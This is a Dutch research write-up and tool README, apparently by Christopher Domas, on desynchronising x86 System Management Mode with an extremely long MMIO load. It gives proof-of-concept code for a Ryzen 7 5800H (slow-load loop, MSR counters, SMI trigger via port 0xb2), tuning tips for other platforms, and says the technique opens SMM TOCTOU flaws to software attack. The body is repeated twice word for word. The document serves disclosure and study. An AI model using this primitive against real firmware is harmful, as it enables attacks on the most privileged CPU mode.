Het artikel legt uit hoe System Management Mode (SMM), een bevoorrechte uitvoeringsomgeving in x86-processors, kan worden doorbroken. Normaal gesproken moeten alle CPU-kernen synchroon SMM betreden; als één kern echter een instructie uitvoert die langer duurt dan de timeout van één seconde (bijvoorbeeld via trage MMIO-reads), blijft deze kern buiten SMM terwijl andere kernen er wel in zitten.
Deze desynchronisatie maakt het mogelijk om kerns aan te vallen die zich in SMM bevinden. Dit is cruciaal omdat het bestaande SMM TOCTOU (Time-of-Check Time-of-Use) kwetsbaarheden, die voorheen alleen via fysieke DMA-aanvallen exploiteerbaar waren, nu plotseling via software toegankelijk maakt. De auteur presenteert een Proof-of-Concept (PoC) specifiek voor de Zen 3 Ryzen 7 5800H en geeft tips over hoe dit op andere platforms kan worden getest door MMIO-latenties te manipuleren.
SMM exploiteren met een extreem lange interrupt
Overzicht
SMM vereist dat alle processorkernen tegelijkertijd in SMM treden of deze verlaten. Het beveiligingsmodel werkt niet zonder deze synchronisatie: wanneer één thread SMM betreedt, worden alle andere threads gedwongen om dit ook te doen.
Om dit te doorbreken is het voldoende om een kern te vinden die "te druk" is om op te merken dat hij zich bij SMM moet voegen. Het proces verloopt als volgt:
- Kern 0 start een zeer lange instructie.
- Kern 1 nodigt kern 0 uit voor SMM.
- Kern 1 treedt SMM binnen.
- Kern 1 wacht op kern 0.
- (Na een lange wachttijd) Kern 1 geeft het op.
- Kern 1 voert geheime SMM-taken uit.
- Kern 1 beëindigt de SMM-sessie.
- Kern 0 voegt zich pas nu bij SMM.
Op dit punt is kern 1 klaar met SMM, terwijl kern 0 er juist in zit. Hierdoor kan kern 1 kern 0 aanvallen.
De crux is dat hiervoor een extreem lange instructie nodig is — langer dan enige instructie ooit bedoeld was te duren. De meeste machineinstructies op moderne CPU's zijn razendsnel (een add kost bijvoorbeeld één cyclus). Om kern 1 te dwingen het wachten op kern 0 te staken, is een instructie op kern 0 nodig die ongeveer 4.000.000.000 cycli duurt — wat neerkomt op meer dan één seconde reële tijd.
De timeout van één seconde
Wanneer een CPU-kern SMM betreedt, voert de x86-firmware de volgende code uit:
for (Timer = StartSyncTimer ();
!IsSyncTimerTimeout (Timer, mTimeoutTicker) && SyncNeeded;
)
{
mSmmMpSyncData->AllApArrivedWithException = AllCpusInSmmExceptBlockedDisabled ();
if (mSmmMpSyncData->AllApArrivedWithException) {
break;
}
CpuPause ();
}
De code wacht tot alle kernen in SMM zijn, of tot er een timeout van één seconde wordt bereikt. Om ervoor te zorgen dat één kern SMM-code uitvoert terwijl een andere kern buiten SMM blijft, moet die laatste kern de volledige seconde ononderbreekbaar blijven. Een SMI (System Management Interrupt) vindt namelijk plaats op een instructiegrens; elke pauze tussen twee instructies is dus een opening waardoor de wachtende SMI de kern naar binnen kan trekken. De vertraging moet daarom in één enkele, ononderbreekbare operatie zitten die langer duurt dan het rendezvous-moment van één seconde.
Proof-of-Concept (PoC)
Er zijn verschillende manieren om deze verboden instructie van één seconde te bereiken, en de aanpak verschilt per platform. In grote lijnen werkt het als volgt: zoek een MMIO-adres met een hoge latentie en dwing de CPU om hier zo langzaam mogelijk van te lezen. Hierbij wordt gebruikgemaakt van ongedocumenteerde regio's die leesaanvragen zeer traag verwerken. Door de breedst mogelijke load uit de ISA (Instruction Set Architecture) te gebruiken, kan een enorme hoeveelheid bytes in één instructie worden getransporteerd. Als andere kernen op datzelfde moment toegang tot dezelfde bus proberen te krijgen, vertraagt het proces door congestie nog verder.
De meegeleverde proof-of-concept is afgestemd op een Zen 3 Ryzen 7 5800H. Hier zorgt een brede xmm load van traag MMIO op adres 0xfcc68860 voor een stall die lang genoeg is om de synchronisatie te doorbreken:
mov $0xfcc68860, %rsi ; het doel-MMIO-adres
vmovdqu (%rsi), %xmm0 ; de extreem lange load
De PoC zet twee kernen tegen elkaar uit. Eén kern wordt buiten SMM gehouden door een strakke lus van deze trage load:
/* De slachtofferkern: spin op de ~1-seconde load, te druk om de SMI te beantwoorden */
for (;;)
asm volatile ("vmovdqu (%0), %%xmm0" :: "r"(mmio) : "xmm0");
Tegelijkertijd configureert een andere kern de SMI-tellers per kern:
#define MSR_PERF_CTL0 0xc0010200 /* AMD core perf event-select MSR */
#define MSR_PERF_CTR0 0xc0010201 /* de gekoppelde 48-bit teller */
for (int cpu = 0; cpu < ACTIVE_CPUS; cpu++) {
msr_write(cpu, MSR_PERF_CTL0, 0x43002b); /* EN | OS | USR | event 0x2b */
msr_write(cpu, MSR_PERF_CTR0, 0); /* teller resetten */
}
Vervolgens wordt er een storm van SMI's afgevuurd:
asm volatile ("outb %%al, $0xb2" :: "a"(0)); /* kick port 0xb2 -> #SMI */
Ten slotte worden de tellers van elke kern uitgelezen:
/* ...vuur de storm af, lees daarna de tellingen van elke kern uit... */
uint64_t delta = smi_max - smi_min;
if (delta)
puts("!!! een kern draaide buiten SMM");
Als de tellers uiteenlopen, betekent dit dat één kern buiten SMM is blijven draaien terwijl de andere kernen werden binnengehaald. Hiermee is bewezen dat de belofte van SMM — dat er niets anders draait tijdens de uitvoering ervan — niet standhoudt tegenover één absurd lange instructie.
Exploitatie
De beveiliging van SMM rust op de aanname dat er geen andere processen actief zijn terwijl SMM draait. Er bestaan meer dan 100 SMM TOCTOU (Time-of-Check Time-of-Use) CVE's: een SMM-handler controleert een waarde in het gedeelde geheugen en gebruikt deze vervolgens. Voor exploitatie is het voldoende om die waarde te wijzigen tussen de controle en het gebruik.
Tot nu toe bleven deze kwetsbaarheden grotendeels onbenut of ongepatcht, omdat men aannam dat er geen CPU-kern buiten SMM kon draaien om het geheugen aan te passen tijdens de uitvoering van SMM. De enige bekende methode was via een DMA-compatibel randapparaat (fysieke toegang), waardoor dit als een hardwareprobleem werd beschouwd.
SMI-desynchronisatie verwijdert deze voorwaarde. Een externe kern kan nu draaien terwijl SMM wordt uitgevoerd, zonder dat er fysieke toegang of speciale hardware nodig is. Hierdoor worden slapende CVE's plotseling exploiteerbaar via software.
Implementatie op andere platforms
De standaard vmovdqu op adres 0xfcc68860 in de PoC werkt specifiek voor de Zen 3 Ryzen 7 5800H. Om dit op andere systemen te laten werken, moet de instructie worden aangepast zodat de stall langer duurt dan de SMM-timeout van het betreffende systeem.
Tips voor tuning:
- Richt op MMIO: Gebruik
mmiotic om trage MMIO-regio's op jouw platform te vinden.
- Verbreed de read: Stap over van
xmm → ymm → zmm totdat de stall de timeout overschrijdt.
- Wissel van instructie: Als geen enkele MMIO-read traag genoeg is, zoek dan naar andere pathologisch lange instructies in de asm-hall-of-shame.
Bouwen en Gebruik
Bouwen
make # bouwt smiiiiiiiiiiiiiiii
Gebruik
Run de tool om herhaaldelijk de lange instructie uit te voeren terwijl de SMI-tellers van elke kern worden gecontroleerd op divergentie:
sudo ./smiiiiiiiiiiiiiiii # standaard: -r xmm op 0xfcc68860
Flags:
| Flag | Standaard | Beschrijving |
-r xmm$\mid$ymm$\mid$zmm | xmm | Breedte van het vectorregister voor de getimede MMIO-read (16/32/64 bytes). |
-a <phys-addr> | 0xfcc68860 | Doel fysiek adres voor de MMIO timing loop (hex 0x... of decimaal). |
-h, --help | — | Toont help en sluit af. |
Auteur: Christopher Domas (@xoreaxeaxeax)
SMM exploiteren met een extreem lange interrupt
Overzicht
SMM vereist dat alle processorkernen tegelijkertijd in SMM treden of deze verlaten. Het beveiligingsmodel werkt niet zonder deze synchronisatie: wanneer één thread SMM betreedt, worden alle andere threads gedwongen om dit ook te doen.
Om dit te doorbreken is het voldoende om een kern te vinden die "te druk" is om op te merken dat hij zich bij SMM moet voegen. Het proces verloopt als volgt:
- Kern 0 start een zeer lange instructie.
- Kern 1 nodigt kern 0 uit voor SMM.
- Kern 1 treedt SMM binnen.
- Kern 1 wacht op kern 0.
- (Na een lange wachttijd) Kern 1 geeft het op.
- Kern 1 voert geheime SMM-taken uit.
- Kern 1 beëindigt de SMM-sessie.
- Kern 0 voegt zich pas nu bij SMM.
Op dit punt is kern 1 klaar met SMM, terwijl kern 0 er juist in zit. Hierdoor kan kern 1 kern 0 aanvallen.
De crux is dat hiervoor een extreem lange instructie nodig is — langer dan enige instructie ooit bedoeld was te duren. De meeste machineinstructies op moderne CPU's zijn razendsnel (een add kost bijvoorbeeld één cyclus). Om kern 1 te dwingen het wachten op kern 0 te staken, is een instructie op kern 0 nodig die ongeveer 4.000.000.000 cycli duurt — wat neerkomt op meer dan één seconde reële tijd.
De timeout van één seconde
Wanneer een CPU-kern SMM betreedt, voert de x86-firmware de volgende code uit:
for (Timer = StartSyncTimer ();
!IsSyncTimerTimeout (Timer, mTimeoutTicker) && SyncNeeded;
)
{
mSmmMpSyncData->AllApArrivedWithException = AllCpusInSmmExceptBlockedDisabled ();
if (mSmmMpSyncData->AllApArrivedWithException) {
break;
}
CpuPause ();
}
De code wacht tot alle kernen in SMM zijn, of tot er een timeout van één seconde wordt bereikt. Om ervoor te zorgen dat één kern SMM-code uitvoert terwijl een andere kern buiten SMM blijft, moet die laatste kern de volledige seconde ononderbreekbaar blijven. Een SMI (System Management Interrupt) vindt namelijk plaats op een instructiegrens; elke pauze tussen twee instructies is dus een opening waardoor de wachtende SMI de kern naar binnen kan trekken. De vertraging moet daarom in één enkele, ononderbreekbare operatie zitten die langer duurt dan het rendezvous-moment van één seconde.
Proof-of-Concept (PoC)
Er zijn verschillende manieren om deze verboden instructie van één seconde te bereiken, en de aanpak verschilt per platform. In grote lijnen werkt het als volgt: zoek een MMIO-adres met een hoge latentie en dwing de CPU om hier zo langzaam mogelijk van te lezen. Hierbij wordt gebruikgemaakt van ongedocumenteerde regio's die leesaanvragen zeer traag verwerken. Door de breedst mogelijke load uit de ISA (Instruction Set Architecture) te gebruiken, kan een enorme hoeveelheid bytes in één instructie worden getransporteerd. Als andere kernen op datzelfde moment toegang tot dezelfde bus proberen te krijgen, vertraagt het proces door congestie nog verder.
De meegeleverde proof-of-concept is afgestemd op een Zen 3 Ryzen 7 5800H. Hier zorgt een brede xmm load van traag MMIO op adres 0xfcc68860 voor een stall die lang genoeg is om de synchronisatie te doorbreken:
mov $0xfcc68860, %rsi ; het doel-MMIO-adres
vmovdqu (%rsi), %xmm0 ; de extreem lange load
De PoC zet twee kernen tegen elkaar uit. Eén kern wordt buiten SMM gehouden door een strakke lus van deze trage load:
/* De slachtofferkern: spin op de ~1-seconde load, te druk om de SMI te beantwoorden */
for (;;)
asm volatile ("vmovdqu (%0), %%xmm0" :: "r"(mmio) : "xmm0");
Tegelijkertijd configureert een andere kern de SMI-tellers per kern:
#define MSR_PERF_CTL0 0xc0010200 /* AMD core perf event-select MSR */
#define MSR_PERF_CTR0 0xc0010201 /* de gekoppelde 48-bit teller */
for (int cpu = 0; cpu < ACTIVE_CPUS; cpu++) {
msr_write(cpu, MSR_PERF_CTL0, 0x43002b); /* EN | OS | USR | event 0x2b */
msr_write(cpu, MSR_PERF_CTR0, 0); /* teller resetten */
}
Vervolgens wordt er een storm van SMI's afgevuurd:
asm volatile ("outb %%al, $0xb2" :: "a"(0)); /* kick port 0xb2 -> #SMI */
Ten slotte worden de tellers van elke kern uitgelezen:
/* ...vuur de storm af, lees daarna de tellingen van elke kern uit... */
uint64_t delta = smi_max - smi_min;
if (delta)
puts("!!! een kern draaide buiten SMM");
Als de tellers uiteenlopen, betekent dit dat één kern buiten SMM is blijven draaien terwijl de andere kernen werden binnengehaald. Hiermee is bewezen dat de belofte van SMM — dat er niets anders draait tijdens de uitvoering ervan — niet standhoudt tegenover één absurd lange instructie.
Exploitatie
De beveiliging van SMM rust op de aanname dat er geen andere processen actief zijn terwijl SMM draait. Er bestaan meer dan 100 SMM TOCTOU (Time-of-Check Time-of-Use) CVE's: een SMM-handler controleert een waarde in het gedeelde geheugen en gebruikt deze vervolgens. Voor exploitatie is het voldoende om die waarde te wijzigen tussen de controle en het gebruik.
Tot nu toe bleven deze kwetsbaarheden grotendeels onbenut of ongepatcht, omdat men aannam dat er geen CPU-kern buiten SMM kon draaien om het geheugen aan te passen tijdens de uitvoering van SMM. De enige bekende methode was via een DMA-compatibel randapparaat (fysieke toegang), waardoor dit als een hardwareprobleem werd beschouwd.
SMI-desynchronisatie verwijdert deze voorwaarde. Een externe kern kan nu draaien terwijl SMM wordt uitgevoerd, zonder dat er fysieke toegang of speciale hardware nodig is. Hierdoor worden slapende CVE's plotseling exploiteerbaar via software.
Implementatie op andere platforms
De standaard vmovdqu op adres 0xfcc68860 in de PoC werkt specifiek voor de Zen 3 Ryzen 7 5800H. Om dit op andere systemen te laten werken, moet de instructie worden aangepast zodat de stall langer duurt dan de SMM-timeout van het betreffende systeem.
Tips voor tuning:
- Richt op MMIO: Gebruik
mmiotic om trage MMIO-regio's op jouw platform te vinden.
- Verbreed de read: Stap over van
xmm → ymm → zmm totdat de stall de timeout overschrijdt.
- Wissel van instructie: Als geen enkele MMIO-read traag genoeg is, zoek dan naar andere pathologisch lange instructies in de asm-hall-of-shame.
Bouwen en Gebruik
Bouwen
make # bouwt smiiiiiiiiiiiiiiii
Gebruik
Run de tool om herhaaldelijk de lange instructie uit te voeren terwijl de SMI-tellers van elke kern worden gecontroleerd op divergentie:
sudo ./smiiiiiiiiiiiiiiii # standaard: -r xmm op 0xfcc68860
Flags:
| Flag | Standaard | Beschrijving |
-r xmm$\mid$ymm$\mid$zmm | xmm | Breedte van het vectorregister voor de getimede MMIO-read (16/32/64 bytes). |
-a <phys-addr> | 0xfcc68860 | Doel fysiek adres voor de MMIO timing loop (hex 0x... of decimaal). |
-h, --help | — | Toont help en sluit af. |
Auteur: Christopher Domas (@xoreaxeaxeax)